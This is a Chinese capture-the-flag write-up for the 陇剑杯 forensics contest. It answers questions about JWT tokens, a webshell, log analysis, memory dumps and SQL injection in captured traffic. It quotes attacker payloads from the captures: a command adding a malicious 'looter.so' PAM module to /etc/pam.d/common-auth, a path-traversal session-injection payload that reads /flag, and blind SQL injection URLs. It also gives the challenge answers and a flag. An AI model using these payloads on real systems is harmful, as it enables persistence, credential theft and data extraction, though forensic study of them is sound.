1st 陇剑杯部分WP

jwt

2.1

跟踪 TCP 流可发现 token 为 jwt 认证

2.2

用成功拿到 shell 的 token 去 jwt解码网站可以解出来,10087#admin

2.3

拿到 shell 的 TCP 流中可以看到是 root 权限。

2.4

通过后面的命令可以得到 => 1.c

2.5

通过解码创建的 Makefile 文件即可得到 => looter.so

=>

2.6

通过后面的命令可以得到 => /etc/pam.d/common-auth

1
command=echo%20"auth%20optional%20looter.so">>/etc/pam.d/common-auth

webshell

3.1

可在 login 得到 => Admin123!@#

3.2

在注入 shell 的地方可以看到

但要注意要的是绝对路径,所以要补全 /var/www/html/data/Runtime/Logs/Home/21_08_07.log

3.3

就在 3-2 的流里可以看到 => www-data

3.4

在后面的 33 流里可以看到 => 1.php

3.5

查看 37 http 流并与 39 http 流对比可发现多了一个 frpc.ini 文件,猜测上传的代理工具客户端为 frpc。

3.6 / 3.7

3-6 和 3-7 都可以在上传文件的 38 tcp 流中看到

跑一下就可以看到

日志分析

4.1

直接看哪个是 200 即可 => www.zip

4.2

最下面可以看到

1
?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D

转码一下得到 => sess_car

4.3

根据 4-2 的上传内容即可得到 => SplFileObject

1
?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

内存分析

6.1

需要的是虚拟机密码,直接下载文件下来后 mimikatz 一把梭

简单日志分析

7.1

往后翻即可发现=> user

7.2

base64 解码第二个 user 参数传输的字符串即可得到 => /Th4s_IS_VERY_Import_Fi1e

7.3

还是 base64 解码最后一个 user 参数的字符串 => 192.168.2.197:8888

SQL注入

8.1

根据 id 参数的攻击可知为 布尔盲注

/index.php?id=1%20and%20if(substr(database(),1,1)%20=%20’%C2%80’,1,(select%20table_name%20from%20information_schema.tables))

8.2

直接找到最后爆破 flag 的 payload 可以直接得到 => sqli#flag#flag

/index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),1,1)%20=%20’%C2%80’,1,(select%20table_name%20from%20information_schema.tables))

8.3

最好的方法就是直接写个脚本跑,但是懒得写了,直接找 => flag{deddcd67-bcfd-487e-b940-1217e668c7db}